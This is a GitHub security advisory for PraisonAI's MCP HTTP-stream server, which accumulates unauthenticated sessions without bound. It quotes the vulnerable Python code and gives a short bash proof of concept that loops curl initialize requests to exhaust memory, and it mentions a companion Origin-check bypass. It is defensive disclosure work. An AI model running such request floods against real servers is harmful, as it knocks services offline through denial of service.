Skip to content

PraisonAI MCP HTTP server has unauthenticated unbounded session accumulation (memory exhaustion; session TTL never enforced)

Moderate severity GitHub Reviewed Published Jun 13, 2026 in MervinPraison/PraisonAI • Updated Aug 25, 2026

Package

pip PraisonAI (pip)

Affected versions

< 4.6.58

Patched versions

4.6.58

Description

Summary

The PraisonAI MCP HTTP-stream server creates a new in-memory session on every initialize request and never removes it. The cleanup routine that would expire sessions (_cleanup_sessions) is defined but never called anywhere in the codebase, and the configured session TTL is never enforced. There is no cap on the number of sessions. Because initialize requires no authentication and the server keeps every session dictionary forever, an attacker who can reach the endpoint (directly when the server is bound to a routable address, or from a victim's browser via the separate Origin-validation bypass) can drive memory usage up without bound until the process is killed by the out-of-memory killer. The same unbounded-growth pattern also applies to the cancelled-requests set populated by notifications/cancelled.

Details

In transports/http_stream.py, each initialize creates and stores a session with no limit:

if body.get("method") == "initialize":
    new_session_id = str(uuid.uuid4())
    self._sessions[new_session_id] = {
        "created_at": time.time(),
        "last_activity": time.time(),
    }

A cleanup method exists:

def _cleanup_sessions(self) -> None:
    now = time.time()
    expired = [sid for sid, data in self._sessions.items()
               if now - data["last_activity"] > self.session_ttl]
    for sid in expired:
        del self._sessions[sid]

but grep across the package shows it has no call sites: it is never invoked on a timer, on request handling, or from any background task. self.session_ttl (default 3600) is stored and otherwise unused. There is no maximum-session check anywhere on the write path. As a result self._sessions grows monotonically for the lifetime of the process.

initialize is unauthenticated: in mcp_post the API-key check is skipped when no key is configured (the default), and initialize does not require a prior session. The Origin check is the only gate, and a request with no Origin header is allowed; additionally the Origin allowlist is bypassable (see the companion report on the startswith Origin-validation bypass), so the endpoint is reachable from a malicious web page as well as directly.

The server-side cancellation set in server.py has the same defect:

if method == "notifications/cancelled":
    request_id = params.get("requestId")
    if request_id:
        self._cancelled_requests.add(str(request_id))   # never cleared

self._cancelled_requests is an unbounded set that is added to but never pruned.

PoC

scripts/poc_mcp_session_dos.sh. Start the server (default config, no API key):

praisonai mcp serve --transport http-stream --host 127.0.0.1 --port 8080

Send repeated initialize requests and watch the active session count grow:

for i in $(seq 1 200); do
  curl -s -o /dev/null -X POST http://127.0.0.1:8080/mcp \
    -H 'Content-Type: application/json' -H 'Origin: http://localhost' \
    -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"x","version":"1"}}}'
done
curl -s http://127.0.0.1:8080/health

Observed on 4.6.52 after 200 requests:

{"status":"healthy","server":"praisonai","version":"1.0.0","protocol_version":"2025-11-25","active_sessions":200}

The count rises by one per request and never decreases; there is no TTL expiry and no cap. Sustained requests grow the process resident set without bound. Each session also retains any SSE event history keyed by session id, amplifying the per-session footprint.

Impact

An unauthenticated client can exhaust the memory of the host running the MCP server, leading to denial of service (the process is terminated by the OOM killer, taking down the agent endpoint). When the server is bound to a routable interface (for example --host 0.0.0.0, common in containers), this is a direct remote unauthenticated DoS. With the default localhost bind, it is reachable from any web page the operator visits, because initialize is unauthenticated and the Origin gate is bypassable. The defect is a missing cleanup wiring plus the absence of any session cap, so it manifests even under benign long-running use.

Remediation

Enforce the session TTL and cap the number of concurrent sessions: call _cleanup_sessions periodically (a background asyncio task, or opportunistically on each request) and reject new sessions with a 429/503 once a configurable maximum is reached. Bound _cancelled_requests similarly (for example an LRU or a periodic prune keyed by age), since it is also never cleared. Require authentication by default on the HTTP-stream transport so that anonymous clients cannot create sessions at all.

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Jun 13, 2026
Published to the GitHub Advisory Database Aug 25, 2026
Reviewed Aug 25, 2026
Last updated Aug 25, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-55531

GHSA ID

GHSA-wv94-5qcp-6m36

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.